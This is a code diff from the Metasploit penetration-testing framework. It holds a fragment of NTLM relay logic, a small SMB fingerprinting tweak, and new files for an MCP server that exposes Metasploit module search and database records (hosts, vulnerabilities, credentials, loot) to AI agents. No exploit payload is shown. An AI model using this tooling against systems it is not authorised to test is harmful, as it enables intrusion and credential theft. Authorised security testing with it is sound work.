# @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
def relay_ntlmssp_type3(client_type3_msg)
ntlm_message = Net::NTLM::Message.parse(client_type3_msg)
if ntlm_message.ntlm_version == :ntlmv2
# Suppress the warning for HTTP sources because they can safely relay NTLMv2 type 3 messages. During testing
# non-Windows HTTP clients that sent NTLMv2 type 3 messages were able to be relayed to LDAP without issue.
if ntlm_message.ntlm_version == :ntlmv2 && !is_http_source?
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
end
+1 -2
View File
@@ -1,6 +1,5 @@
# -*- coding: binary -*-
require 'rex/encoder/ndr'
require 'recog'
module Msf
module Exploit::Remote::SMB
@@ -413,7 +412,7 @@ module Msf
# Leverage Recog for SMB native OS fingerprinting
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
os = fp_match['os.product'] || 'Unknown'
os = fp_match['os.product'] || fp_match['os.family'] || 'Unknown'
sp = fp_match['os.version'] || ''
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
-1
View File
@@ -11,7 +11,6 @@ require 'monitor'
#
require 'metasploit/framework/version'
require 'rex/socket/ssl'
require 'metasploit/framework/thread_factory_provider'
module Msf
+75
View File
@@ -0,0 +1,75 @@
# frozen_string_literal: true
# Main entry point for MSF MCP Server
module Msf
module MCP
VERSION = '0.1.0'
end
end
# Load the base configuration (for default paths, etc.)
require 'msf/base/config'
# Load the base Rex libraries
require 'rex/socket'
require 'rex/logging'
require 'rex/logging/log_sink'
module Msf
module MCP
# Log source identifier for all MCP log messages.
LOG_SOURCE = 'mcp'
# Log level aliases — semantic names for Rex::Logging level constants.
LOG_DEBUG = Rex::Logging::LEV_3
LOG_INFO = Rex::Logging::LEV_2
LOG_WARN = Rex::Logging::LEV_1
LOG_ERROR = Rex::Logging::LEV_0
end
end
# Load the MCP-specific logging components
require_relative 'mcp/logging/sinks/json_stream'
require_relative 'mcp/logging/sinks/json_flatfile'
require_relative 'mcp/logging/sinks/sanitizing'
require_relative 'mcp/middleware/request_logger'
# Error classes
require_relative 'mcp/errors'
# Configuration Layer
require_relative 'mcp/config/loader'
require_relative 'mcp/config/validator'
# Security Layer
require_relative 'mcp/security/input_validator'
require_relative 'mcp/security/rate_limiter'
# Metasploit Client Layer
require_relative 'mcp/rpc_manager'
require_relative 'mcp/metasploit/messagepack_client'
require_relative 'mcp/metasploit/jsonrpc_client'
require_relative 'mcp/metasploit/client'
require_relative 'mcp/metasploit/response_transformer'
# MCP SDK
require 'mcp'
# MCP Layer
require_relative 'mcp/tools/tool_helper'
require_relative 'mcp/tools/search_modules'
require_relative 'mcp/tools/module_info'
require_relative 'mcp/tools/host_info'
require_relative 'mcp/tools/service_info'
require_relative 'mcp/tools/vulnerability_info'
require_relative 'mcp/tools/note_info'
require_relative 'mcp/tools/credential_info'
require_relative 'mcp/tools/loot_info'
require_relative 'mcp/server'
# Application Layer
require_relative 'mcp/application'
# Make logging stubs (ilog, elog, dlog, wlog)
include Rex::Logging
+334
View File
@@ -0,0 +1,334 @@
# frozen_string_literal: true
require 'msf/core/mcp'
require 'optparse'
module Msf::MCP
# Main application class that orchestrates the MCP server startup and lifecycle
class Application
VERSION = '0.1.0'
BANNER = <<~BANNER
MSF MCP Server v#{VERSION}
Model Context Protocol server for Metasploit Framework
BANNER
# For testing purposes:
attr_reader :config, :msf_client, :mcp_server, :rate_limiter, :options, :rpc_manager
# Initialize the application with command-line arguments
#
# @param argv [Array<String>] Command-line arguments
# @param output [IO] Output stream for messages (default: $stderr)
def initialize(argv = ARGV, output: $stderr)
@argv = argv.dup
@output = output
@options = {}
@config = nil
@msf_client = nil
@mcp_server = nil
@rate_limiter = nil
@rpc_manager = nil
end
# Run the application
#
# @return [void]
def run
parse_arguments
install_signal_handlers
load_configuration
validate_configuration
initialize_logger
initialize_rate_limiter
ensure_rpc_server
initialize_metasploit_client
authenticate_metasploit
initialize_mcp_server
start_mcp_server
rescue Msf::MCP::Config::ValidationError, Msf::MCP::Config::ConfigurationError => e
handle_configuration_error(e)
rescue Msf::MCP::Metasploit::ConnectionError => e
handle_connection_error(e)
rescue Msf::MCP::Metasploit::APIError => e
handle_api_error(e)
rescue Msf::MCP::Metasploit::AuthenticationError => e
handle_authentication_error(e)
rescue Msf::MCP::Metasploit::RpcStartupError => e
handle_rpc_startup_error(e)
rescue StandardError => e
handle_fatal_error(e)
end
# Shutdown the application gracefully
#
# Performs cleanup operations before process termination:
# - Logs shutdown event via Rex
# - Closes MCP server and Metasploit client connections
# - Cleans up resources
#
# @param signal [String] Signal name (e.g., 'INT', 'TERM')
# @return [void]
def shutdown(signal = 'INT')
ilog({
message: 'Shutting down',
context: { signal: "SIG#{signal}" }
}, LOG_SOURCE, LOG_INFO)
@mcp_server&.shutdown
@rpc_manager&.stop_rpc_server
@output.puts "\nShutdown complete"
end
private
# Parse command-line arguments
#
# @return [void]
def parse_arguments
parser = OptionParser.new do |opts|
opts.banner = BANNER + "\nUsage: msfmcp [options]"
opts.on('--config PATH', 'Path to configuration file') do |path|
@options[:config_path] = File.expand_path(path)
end
opts.on('--enable-logging', 'Enable file logging') do
@options[:enable_logging_cli] = true
end
opts.on('--log-file PATH', 'Log file path (overrides config file)') do |path|
@options[:log_file_cli] = path
end
opts.on('--user USER', 'MSF API username (for MessagePack auth)') do |user|
@options[:msf_user_cli] = user
end
opts.on('--password PASS', 'MSF API password (for MessagePack auth)') do |password|
@options[:msf_password_cli] = password
end
opts.on('--no-auto-start-rpc', 'Disable automatic RPC server startup') do
@options[:no_auto_start_rpc] = true
end
opts.on('--mcp-transport TRANSPORT', 'MCP server transport type (\'stdio\' or \'http\')') do |transport|
@options[:mcp_transport] = transport
end
opts.on('-h', '--help', 'Show this help message') do
@output.puts opts
exit 0
end
opts.on('-v', '--version', 'Show version information') do
@output.puts "msfmcp version #{VERSION}"
exit 0
end
end
parser.parse!(@argv)
end
# Register a Rex log source when logging is enabled.
#
# Selects a JsonFlatfile sink pointed at the configured log path and wraps it
# with the sanitizing middleware unless sanitization has been explicitly
# disabled in the config.
#
# Priority: CLI flags > config file > defaults
#
# @return [void]
def initialize_logger
return unless @options[:enable_logging_cli] || @config.dig(:logging, :enabled)
log_file = @options[:log_file_cli] || @config.dig(:logging, :log_file)
level = @config.dig(:logging, :level)
threshold = case @config.dig(:logging, :level).upcase
when 'DEBUG'
Rex::Logging::LEV_3
when 'INFO'
Rex::Logging::LEV_2
when 'WARN'
Rex::Logging::LEV_1
when 'ERROR'
Rex::Logging::LEV_0
end
inner = Msf::MCP::Logging::Sinks::JsonFlatfile.new(log_file)
sink = @config.dig(:logging, :sanitize) ? Msf::MCP::Logging::Sinks::Sanitizing.new(inner) : inner
deregister_log_source(LOG_SOURCE) if log_source_registered?(LOG_SOURCE)
register_log_source(LOG_SOURCE, sink, threshold)
end
# Install signal handlers for graceful shutdown
#
# @return [void]
def install_signal_handlers
Signal.trap('INT') { shutdown('INT'); exit 0 }
Signal.trap('TERM') { shutdown('TERM'); exit 0 }
end
# Load configuration from file or use defaults
#
# @return [void]
def load_configuration
if @options[:config_path]
@output.puts "Loading configuration from #{@options[:config_path]}"
@config = Msf::MCP::Config::Loader.load(@options[:config_path])
else
@output.puts "No configuration file specified, using defaults"
@config = Msf::MCP::Config::Loader.load_from_hash({})
end
# Apply CLI authentication overrides (highest priority)
if @options[:msf_user_cli]
@config[:msf_api][:user] = @options[:msf_user_cli]
end
if @options[:msf_password_cli]
@config[:msf_api][:password] = @options[:msf_password_cli]
end
if @options[:no_auto_start_rpc]
@config[:msf_api][:auto_start_rpc] = false
end
if @options[:mcp_transport]
@config[:mcp][:transport] = @options[:mcp_transport]
end
end
# Validate the loaded configuration
#
# @return [void]
def validate_configuration
@output.puts "Validating configuration..."
Msf::MCP::Config::Validator.validate!(@config)
@output.puts "Configuration valid"
end
# Initialize the rate limiter
#
# @return [void]
def initialize_rate_limiter
@rate_limiter = Msf::MCP::Security::RateLimiter.new(
requests_per_minute: @config.dig(:rate_limit, :requests_per_minute) || 60,
burst_size: @config.dig(:rate_limit, :burst_size)
)
end
# Ensure the Metasploit RPC server is available, auto-starting if needed
#
# @return [void]
def ensure_rpc_server
@rpc_manager = Msf::MCP::RpcManager.new(
config: @config,
output: @output
)
@rpc_manager.ensure_rpc_available
end
# Initialize the Metasploit client
#
# @return [void]
def initialize_metasploit_client
@output.puts "Connecting to Metasploit RPC at #{@config[:msf_api][:host]}:#{@config[:msf_api][:port]}"
@msf_client = Msf::MCP::Metasploit::Client.new(
api_type: @config[:msf_api][:type],
host: @config[:msf_api][:host],
port: @config[:msf_api][:port],
endpoint: @config[:msf_api][:endpoint],
token: @config[:msf_api][:token],
ssl: @config[:msf_api][:ssl]
)
end
# Authenticate with Metasploit if using MessagePack
#
# @return [void]
def authenticate_metasploit
if @config[:msf_api][:type] == 'messagepack'
@output.puts "Authenticating with Metasploit..."
@msf_client.authenticate(@config[:msf_api][:user].to_s, @config[:msf_api][:password].to_s)
@output.puts "Authentication successful"
else
@output.puts "Using JSON-RPC with token authentication"
end
end
# Initialize the MCP server
#
# @return [void]
def initialize_mcp_server
@output.puts "Initializing MCP server..."
@mcp_server = Msf::MCP::Server.new(
msf_client: @msf_client,
rate_limiter: @rate_limiter
)
end
# Start the MCP server with configured transport
#
# @return [void]
def start_mcp_server
transport = (@config.dig(:mcp, :transport) || 'stdio').to_sym
host = @config.dig(:mcp, :host) || 'localhost'
port = @config.dig(:mcp, :port) || 3000
if transport == :http
@output.puts "Starting MCP server on HTTP transport..."
@output.puts "Server listening on http://#{host}:#{port}"
@output.puts "Press Ctrl+C to shutdown"
@mcp_server.start(transport: :http, host: host, port: port)
else
@output.puts "Starting MCP server on stdio transport..."
@output.puts "Server ready - waiting for MCP requests"
@output.puts "Press Ctrl+C to shutdown"
@mcp_server.start(transport: :stdio)
end
end
# Error handlers
def handle_configuration_error(error)
@output.puts "Configuration validation failed: #{error.message}"
exit 1
end
def handle_connection_error(error)
elog({
message: 'Connection error',
context: { host: @config[:msf_api][:host], port: @config[:msf_api][:port] },
exception: error
}, LOG_SOURCE, LOG_ERROR)
@output.puts "Connection error to Metasploit RPC at #{@config[:msf_api][:host]}:#{@config[:msf_api][:port]} - #{error.message}"
exit 1
end
def handle_api_error(error)
elog({ message: 'Metasploit API error', exception: error }, LOG_SOURCE, LOG_ERROR)
@output.puts "Metasploit API error: #{error.message}"
exit 1
end
def handle_authentication_error(error)
elog({
message: 'Authentication error',
context: { username: @config[:msf_api][:user].to_s },
exception: error
}, LOG_SOURCE, LOG_ERROR)
@output.puts "Authentication error (username: #{@config[:msf_api][:user]}): #{error.message}"
exit 1
end
def handle_rpc_startup_error(error)
elog({ message: 'RPC startup error', exception: error }, LOG_SOURCE, LOG_ERROR)
@output.puts "RPC startup error: #{error.message}"
exit 1
end
def handle_fatal_error(error)
elog({ message: 'Fatal error during startup', exception: error }, LOG_SOURCE, LOG_ERROR)
@output.puts "Fatal error: #{error.message}"
@output.puts error.backtrace.first(5).join("\n") if error.backtrace
exit 1
end
end
end
+123
View File
@@ -0,0 +1,123 @@
# frozen_string_literal: true
require 'yaml'
module Msf::MCP
module Config
class Loader
# Load configuration from YAML file with environment variable overrides
#
# @param file_path [String] Path to YAML configuration file
# @return [Hash] Configuration hash with symbolized keys
# @raise [ConfigurationError] If file not found or invalid YAML
def self.load(file_path)
unless File.exist?(file_path)
raise ConfigurationError, "Configuration file not found: #{file_path}"
end
begin
config = YAML.safe_load_file(file_path, symbolize_names: true)
rescue Psych::SyntaxError => e
raise ConfigurationError, "Invalid YAML syntax in #{file_path}: #{e.message}"
end
unless config.is_a?(Hash)
raise ConfigurationError, "Configuration file must contain a YAML hash/dictionary"
end
apply_defaults(config)
apply_env_overrides(config)
config
end
# Load configuration from hash (for testing)
#
# @param config_hash [Hash] Configuration hash
# @return [Hash] Configuration hash with defaults and env overrides
def self.load_from_hash(config_hash)
config = config_hash.dup
apply_defaults(config)
apply_env_overrides(config)
config
end
private
# Apply default values to configuration
#
# @param config [Hash] Configuration hash to modify in place
def self.apply_defaults(config)
config[:msf_api] ||= {}
config[:mcp] ||= {}
config[:rate_limit] ||= {}
config[:logging] ||= {}
config[:msf_api][:type] ||= 'messagepack'
config[:msf_api][:host] ||= 'localhost'
config[:msf_api][:port] ||= (config[:msf_api][:type] == 'json-rpc') ? 8081 : 55553
config[:msf_api][:ssl] = config[:msf_api].fetch(:ssl, true)
config[:msf_api][:auto_start_rpc] = config[:msf_api].fetch(:auto_start_rpc, true)
config[:msf_api][:endpoint] ||= case config[:msf_api][:type]
when 'json-rpc'
Msf::MCP::Metasploit::JsonRpcClient::DEFAULT_ENDPOINT
else
Msf::MCP::Metasploit::MessagePackClient::DEFAULT_ENDPOINT
end
config[:mcp][:transport] ||= 'stdio'
if config[:mcp][:transport] == 'http'
config[:mcp][:host] ||= 'localhost'
config[:mcp][:port] ||= 3000
end
config[:rate_limit][:enabled] = config[:rate_limit].fetch(:enabled, true)
config[:rate_limit][:requests_per_minute] ||= 60
config[:rate_limit][:burst_size] ||= 10
config[:logging][:enabled] = config[:logging].fetch(:enabled, false)
config[:logging][:level] ||= 'INFO'
config[:logging][:log_file] ||= File.join(Msf::Config.log_directory, 'msfmcp.log')
config[:logging][:sanitize] = config[:logging].fetch(:sanitize, true)
end
# Apply environment variable overrides
#
# @param config [Hash] Configuration hash to modify in place
def self.apply_env_overrides(config)
# Ensure nested hashes exist
config[:msf_api] ||= {}
config[:mcp] ||= {}
# MSF API overrides
config[:msf_api][:type] = ENV['MSF_API_TYPE'] if ENV['MSF_API_TYPE']
config[:msf_api][:host] = ENV['MSF_API_HOST'] if ENV['MSF_API_HOST']
config[:msf_api][:port] = ENV['MSF_API_PORT'].to_i if ENV['MSF_API_PORT']
config[:msf_api][:ssl] = parse_boolean(ENV['MSF_API_SSL']) if ENV['MSF_API_SSL'] && !ENV['MSF_API_SSL'].empty?
config[:msf_api][:endpoint] = ENV['MSF_API_ENDPOINT'] if ENV['MSF_API_ENDPOINT']
config[:msf_api][:user] = ENV['MSF_API_USER'] if ENV['MSF_API_USER']
config[:msf_api][:password] = ENV['MSF_API_PASSWORD'] if ENV['MSF_API_PASSWORD']
config[:msf_api][:token] = ENV['MSF_API_TOKEN'] if ENV['MSF_API_TOKEN']
config[:msf_api][:auto_start_rpc] = parse_boolean(ENV['MSF_AUTO_START_RPC']) if ENV['MSF_AUTO_START_RPC']
# MCP transport override
config[:mcp][:transport] = ENV['MSF_MCP_TRANSPORT'] if ENV['MSF_MCP_TRANSPORT']
# MCP server network overrides
config[:mcp][:host] = ENV['MSF_MCP_HOST'] if ENV['MSF_MCP_HOST']
config[:mcp][:port] = ENV['MSF_MCP_PORT'].to_i if ENV['MSF_MCP_PORT']
end
# Parse a string value into a boolean
#
# @param value [String] String to parse ('true', '1', 'yes' → true; anything else → false)
# @return [Boolean]
def self.parse_boolean(value)
%w[true 1 yes].include?(value.to_s.downcase)
end
end
end
end
+202
View File
@@ -0,0 +1,202 @@
# frozen_string_literal: true
module Msf::MCP
module Config
class Validator
VALID_API_TYPES = %w[messagepack json-rpc].freeze
VALID_TRANSPORTS = %w[stdio http].freeze
# Validate configuration hash (class method)
#
# @param config [Hash] Configuration hash to validate
# @return [true] If validation passes
# @raise [ValidationError] If validation fails
def self.validate!(config)
new.validate!(config)
end
# Validate configuration hash (instance method)
#
# @param config [Hash] Configuration hash to validate
# @return [true] If validation passes
# @raise [ValidationError] If validation fails
def validate!(config)
errors = {}
# Check msf_api section exists
unless config[:msf_api].is_a?(Hash)
errors[:msf_api] = "configuration section is required"
raise ValidationError.new(errors)
end
# Validate API type
if config[:msf_api][:type] && !VALID_API_TYPES.include?(config[:msf_api][:type])
errors[:'msf_api.type'] = "must be one of the valid API types: #{VALID_API_TYPES.join(', ')}"
end
# Validate API type
if config[:msf_api][:host] && config[:msf_api][:host].to_s.strip.empty?
errors[:'msf_api.host'] = "must be a non-empty string"
end
# Validate mcp section type
if config.key?(:mcp) && !config[:mcp].is_a?(Hash)
errors[:mcp] = "must be a configuration hash"
end
# Validate transport
if config[:mcp].is_a?(Hash) && config[:mcp][:transport] && !VALID_TRANSPORTS.include?(config[:mcp][:transport])
errors[:'mcp.transport'] = "must be one of the valid transport: #{VALID_TRANSPORTS.join(', ')}"
end
# Validate port
if config[:msf_api][:port]
port = config[:msf_api][:port].to_i
unless port.between?(1, 65535)
errors[:'msf_api.port'] = "must be between 1 and 65535"
end
end
# Validate SSL option
if config[:msf_api].key?(:ssl) && ![true, false].include?(config[:msf_api][:ssl])
errors[:'msf_api.ssl'] = "must be boolean (true or false)"
end
# Validate auto_start_rpc option
if config[:msf_api].key?(:auto_start_rpc) && ![true, false].include?(config[:msf_api][:auto_start_rpc])
errors[:'msf_api.auto_start_rpc'] = "must be boolean (true or false)"
end
# Validate MCP port
if config[:mcp].is_a?(Hash) && config[:mcp][:port]
port = config[:mcp][:port].to_i
unless port.between?(1, 65535)
errors[:'mcp.port'] = "must be between 1 and 65535"
end
end
# Validate conditional requirements based on API type
if config[:msf_api][:type] == 'messagepack'
validate_messagepack_auth(config, errors)
elsif config[:msf_api][:type] == 'json-rpc'
validate_jsonrpc_auth(config, errors)
end
# Validate rate_limit section
if config.key?(:rate_limit)
if config[:rate_limit].is_a?(Hash)
validate_rate_limit(config, errors)
else
errors[:rate_limit] = "must be a configuration hash"
end
end
# Validate logging section
if config.key?(:logging)
if config[:logging].is_a?(Hash)
validate_logging(config, errors)
else
errors[:logging] = "must be a configuration hash"
end
end
# Raise error if any validation failed
unless errors.empty?
raise ValidationError.new(errors)
end
true
end
private
LOCALHOST_HOSTS = %w[localhost 127.0.0.1 ::1].freeze
# Validate MessagePack authentication fields
#
# Credentials are optional when auto-start can generate random ones
# (auto_start_rpc enabled + localhost). If neither user nor password is
# provided under those conditions, validation passes and the RPC manager
# will generate random credentials at startup.
def validate_messagepack_auth(config, errors)
user_provided = config[:msf_api][:user] && !config[:msf_api][:user].to_s.strip.empty?
password_provided = config[:msf_api][:password] && !config[:msf_api][:password].to_s.strip.empty?
# Both provided — nothing to validate
return if user_provided && password_provided
# Neither provided and auto-start can generate them — OK
return if !user_provided && !password_provided && credentials_can_be_generated?(config)
# Otherwise, require both
unless user_provided
errors[:'msf_api.user'] = "is required for MessagePack authentication. Use --user option or MSF_API_USER environment variable"
end
unless password_provided
errors[:'msf_api.password'] = "is required for MessagePack authentication. Use --password option or MSF_API_PASSWORD environment variable"
end
end
# Whether the RPC manager can generate random credentials for this config.
#
# @param config [Hash] Configuration hash
# @return [Boolean]
def credentials_can_be_generated?(config)
config[:msf_api][:auto_start_rpc] != false &&
LOCALHOST_HOSTS.include?(config[:msf_api][:host].to_s.downcase)
end
# Validate JSON-RPC authentication fields
def validate_jsonrpc_auth(config, errors)
unless config[:msf_api][:token] && !config[:msf_api][:token].to_s.strip.empty?
errors[:'msf_api.token'] = "is required for JSON-RPC authentication"
end
end
# Validate rate_limit section fields
def validate_rate_limit(config, errors)
rate_limit = config[:rate_limit]
if rate_limit.key?(:enabled) && ![true, false].include?(rate_limit[:enabled])
errors[:'rate_limit.enabled'] = "must be boolean (true or false)"
end
if rate_limit.key?(:requests_per_minute)
unless rate_limit[:requests_per_minute].is_a?(Integer) && rate_limit[:requests_per_minute] >= 1
errors[:'rate_limit.requests_per_minute'] = "must be an integer >= 1"
end
end
if rate_limit.key?(:burst_size)
unless rate_limit[:burst_size].is_a?(Integer) && rate_limit[:burst_size] >= 1
errors[:'rate_limit.burst_size'] = "must be an integer >= 1"
end
end
end
VALID_LOG_LEVELS = %w[DEBUG INFO WARN ERROR].freeze
# Validate logging section fields
def validate_logging(config, errors)
logging = config[:logging]
if logging.key?(:enabled) && ![true, false].include?(logging[:enabled])
errors[:'logging.enabled'] = "must be boolean (true or false)"
end
if logging.key?(:level) && !VALID_LOG_LEVELS.include?(logging[:level].to_s.upcase)
errors[:'logging.level'] = "must be one of: #{VALID_LOG_LEVELS.join(', ')}"
end
if logging.key?(:log_file) && logging[:log_file].to_s.strip.empty?
errors[:'logging.log_file'] = "must be a non-empty string"
end
if logging.key?(:sanitize) && ![true, false].include?(logging[:sanitize])
errors[:'logging.sanitize'] = "must be boolean (true or false)"
end
end
end
end
end
+69
View File
@@ -0,0 +1,69 @@
# frozen_string_literal: true
module Msf::MCP
##
# Base error class for all Msf::MCP errors
#
class Error < StandardError; end
##
# Configuration Layer Errors
#
module Config
class ConfigurationError < Error; end
class ValidationError < Error
attr_reader :errors
def initialize(errors = {})
@errors = errors
super(build_message)
end
private
def build_message
return "Configuration validation failed" if @errors.empty?
messages = @errors.map { |field, error| "#{field} #{error}" }
"Configuration validation failed:\n - #{messages.join("\n - ")}"
end
end
end
##
# Security Layer Errors
#
module Security
class ValidationError < Error; end
class RateLimitExceededError < Error
attr_reader :retry_after
def initialize(retry_after)
@retry_after = retry_after
super("Rate limit exceeded. Retry after #{retry_after} seconds.")
end
end
end
##
# Metasploit Client Layer Errors
#
module Metasploit
class AuthenticationError < Error; end
class ConnectionError < Error; end
class APIError < Error; end
class RpcStartupError < Error; end
end
end
@@ -0,0 +1,24 @@
# -*- coding: binary -*-
module Msf::MCP
module Logging
module Sinks
###
#
# This class implements the LogSink interface and backs it against a
# JSON file on disk.
#
###
class JsonFlatfile < Msf::MCP::Logging::Sinks::JsonStream
#
# Creates a JSON flatfile log sink instance that will be configured to log to
# the supplied file path.
#
def initialize(file)
super(File.new(file, 'a'))
end
end
end
end
end
@@ -0,0 +1,123 @@
# frozen_string_literal: true
module Msf::MCP
module Logging
module Sinks
# A Rex LogSink that formats log messages as JSON and writes them to
# an IO stream (e.g. $stdout, a File, a StringIO).
#
# @example Writing JSON logs to $stderr
# sink = Msf::MCP::Logging::Sinks::JsonStream.new($stderr)
# register_log_source('mcp', sink, Rex::Logging::LEV_0)
#
# @example Backed by a file via JsonFlatfile
# sink = Msf::MCP::Logging::Sinks::JsonFlatfile.new('msfmcp.log')
# register_log_source('mcp', sink, Rex::Logging::LEV_0)
class JsonStream
include Rex::Logging::LogSink
def initialize(stream)
@stream = stream
end
def log(sev, src, level, msg)
log_entry = {
timestamp: get_current_timestamp,
severity: sev.to_s.upcase,
level: level.to_s,
source: src.to_s,
message: msg.to_s
}
if msg.is_a?(Hash)
log_entry[:message] = msg[:message] if msg[:message] && !msg[:message].empty?
if msg[:context] && !msg[:context].empty?
log_entry[:context] = if debug_log_level?
msg[:context]
else
summarize_context(msg[:context])
end
end
if msg[:exception]
log_entry[:exception] = if msg[:exception].is_a?(Exception)
ex_msg = { class: msg[:exception].class.name, message: msg[:exception].message }
if get_log_level(LOG_SOURCE) >= BACKTRACE_LOG_LEVEL
ex_msg[:backtrace] = msg[:exception].backtrace&.first(5) || []
end
ex_msg
else
msg[:exception]
end
end
end
stream.write(log_entry.to_json + "\n")
stream.flush
end
def cleanup
stream.close
end
protected
attr_accessor :stream
private
# Keys whose values can be large (full API responses, tool results, etc.)
# and should be truncated at non-DEBUG log levels.
HEAVY_KEYS = %i[result body error].freeze
# Maximum character length for truncated values.
TRUNCATE_MAX_LENGTH = 1000
# Whether the current log level for the MCP source is at least DEBUG
# (LEV_3 / BACKTRACE_LOG_LEVEL), which enables full context output
# and exception backtraces.
#
# @return [Boolean]
def debug_log_level?
get_log_level(LOG_SOURCE) >= BACKTRACE_LOG_LEVEL
end
# Return a reduced copy of +ctx+ suitable for non-DEBUG log entries.
#
# Heavy keys (:result, :body, :error) are truncated. The :response sub-hash is also
# truncated. All other keys (scalars like :method, :elapsed_ms, :session_id) pass
# through unchanged.
#
# @param ctx [Hash] The original context hash
# @return [Hash] A summarized copy
def summarize_context(ctx)
return ctx unless ctx.is_a?(Hash)
ctx.each_with_object({}) do |(k, v), acc|
if HEAVY_KEYS.include?(k)
acc[k] = truncate_value(v)
elsif k == :response && v.is_a?(Hash)
acc[k] = v.each_with_object({}) do |(k_sub, v_sub), acc_sub|
acc_sub[k_sub] = HEAVY_KEYS.include?(k_sub) ? truncate_value(v_sub) : v_sub
end
else
acc[k] = v
end
end
end
# Truncate a value to a human-readable summary string.
#
# @param val [Object] The value to truncate
# @param max_length [Integer] Maximum character length before truncation
# @return [Object] The original value if short enough, otherwise a truncated string
def truncate_value(val, max_length: TRUNCATE_MAX_LENGTH)
str = val.is_a?(String) ? val : val.to_json
return val if str.length <= max_length
"#{str[0...max_length]}... (truncated, #{str.length} bytes)"
end
end
end
end
end
@@ -0,0 +1,111 @@
# frozen_string_literal: true
require 'rex/logging/log_sink'
module Msf::MCP
module Logging
module Sinks
# A Rex LogSink decorator that redacts sensitive information from log
# messages before delegating to a wrapped sink.
#
# @example Wrapping a JsonFlatfile sink
# inner = Msf::MCP::Logging::Sinks::JsonFlatfile.new('msfmcp.log')
# sink = Msf::MCP::Logging::Sinks::Sanitizing.new(inner)
# register_log_source('mcp', sink, Rex::Logging::LEV_0)
class Sanitizing
include Rex::Logging::LogSink
REDACTED = '[REDACTED]'
SENSITIVE_PATTERNS = {
password: /password[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
token_keyval: /token[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
token_header: /token\s+[a-zA-Z0-9_\-\.]+/i,
api_key: /api[_-]?key[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
secret: /secret[_-]?key[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
credential: /credential[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
auth: /auth[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
bearer: /bearer\s+[a-zA-Z0-9_\-\.]+/i
}.freeze
SENSITIVE_KEYS = /\A(password|token|secret|api_key|api_secret|credential|auth_token|bearer|access_token|private_key)\z/i
# @param sink [Rex::Logging::LogSink] The underlying sink to write to
def initialize(sink)
@sink = sink
end
def log(sev, src, level, msg)
@sink.log(sev, src, level, sanitize(msg))
end
def cleanup
@sink.cleanup
end
private
# Sanitize data for logging by redacting sensitive information.
#
# @param data [Object] Data to sanitize (Hash, Array, String, or other)
# @return [Object] Sanitized copy of data
def sanitize(data)
case data
when Hash
data.each_with_object({}) do |(k, v), result|
result[k] = if k.to_s.match?(SENSITIVE_KEYS)
v.is_a?(Hash) || v.is_a?(Array) ? sanitize(v) : REDACTED
elsif k.to_sym == :exception && v.is_a?(Exception)
ex_msg = { class: v.class.name, message: sanitize(v.message) }
if get_log_level(LOG_SOURCE) >= BACKTRACE_LOG_LEVEL
bt = v.backtrace&.first(5) || []
bt = bt.map{|x| x.sub(/^.*lib\//, 'lib/') } # Dont expose the install path
ex_msg[:backtrace] = sanitize(bt)
end
ex_msg
else
sanitize(v)
end
end
when Array
data.map { |item| sanitize(item) }
when String
sanitize_string(data)
else
data
end
end
# Sanitize a string by redacting sensitive patterns
#
# @param str [String] String to sanitize
# @return [String] Sanitized string
def sanitize_string(str)
return str unless str.is_a?(String)
sanitized = str.dup
# Redact sensitive patterns - match entire pattern and replace value part
SENSITIVE_PATTERNS.each do |name, pattern|
sanitized = sanitized.gsub(pattern) do |match|
# For header-style tokens (token abc123, bearer abc123), replace the value
# # TODO: check this
if name == :token_header || name == :bearer
parts = match.split(/\s+/, 2)
"#{parts[0]} #{REDACTED}"
# For key-value style (token: abc123, password=abc123), replace after separator
elsif match =~ /(.*[:=])\s*[\"']?/
"#{Regexp.last_match[1]} #{REDACTED}"
else
REDACTED
end
end
end
sanitized
end
end
end
end
end
+64
View File
@@ -0,0 +1,64 @@
# frozen_string_literal: true
require 'forwardable'
module Msf::MCP
module Metasploit
# Client facade that routes to the appropriate protocol implementation
# Supports MessagePack RPC (Metasploit's native protocol) and JSON-RPC
class Client
extend Forwardable
def_delegators :@client, :authenticate, :search_modules, :module_info, :db_hosts, :db_services, :db_vulns, :db_notes, :db_creds, :db_loot, :shutdown
##
# Initialize Metasploit client with explicit parameters
#
# @param api_type [String] API type: 'messagepack' or 'json-rpc'
# @param host [String] Metasploit host
# @param port [Integer] Metasploit port
# @param endpoint [String] API endpoint path
# @param token [String, nil] API token (for json-rpc)
# @param ssl [Boolean] Use SSL (default: true)
#
def initialize(api_type:, host:, port:, endpoint: nil, token: nil, ssl: true)
@client = create_client(api_type: api_type, host: host, port: port, endpoint: endpoint, token: token, ssl: ssl)
end
private
# Create the appropriate client based on API type
# @param api_type [String] API type: 'messagepack' or 'json-rpc'
# @param host [String] Metasploit host
# @param port [Integer] Metasploit port
# @param endpoint [String] API endpoint path
# @param token [String, nil] API token (for json-rpc)
# @param ssl [Boolean] Use SSL (default: true)
# @return [MessagePackClient, JsonRpcClient] Client instance
# @raise [Error] If invalid API type specified
def create_client(api_type:, host:, port:, endpoint: nil, token: nil, ssl: true)
case api_type
when 'messagepack'
require_relative 'messagepack_client'
MessagePackClient.new(
host: host,
port: port,
endpoint: endpoint || MessagePackClient::DEFAULT_ENDPOINT,
ssl: ssl
)
when 'json-rpc'
require_relative 'jsonrpc_client'
JsonRpcClient.new(
host: host,
port: port,
endpoint: endpoint || JsonRpcClient::DEFAULT_ENDPOINT,
ssl: ssl,
token: token
)
else
raise Error, "Invalid API type: #{api_type}"
end
end
end
end
end
@@ -0,0 +1,199 @@
# frozen_string_literal: true
require 'net/http'
require 'json'
module Msf::MCP
module Metasploit
# JSON-RPC 2.0 client for Metasploit Framework
# Implements bearer token authentication for the Metasploit JSON-RPC API
# Endpoint: /api/v1/json-rpc (default port 8081)
# See: lib/msf/core/rpc/json/ in Metasploit Framework repository
class JsonRpcClient
DEFAULT_ENDPOINT = '/api/v1/json-rpc'
# Initialize JSON-RPC client
# @param host [String] Metasploit RPC host
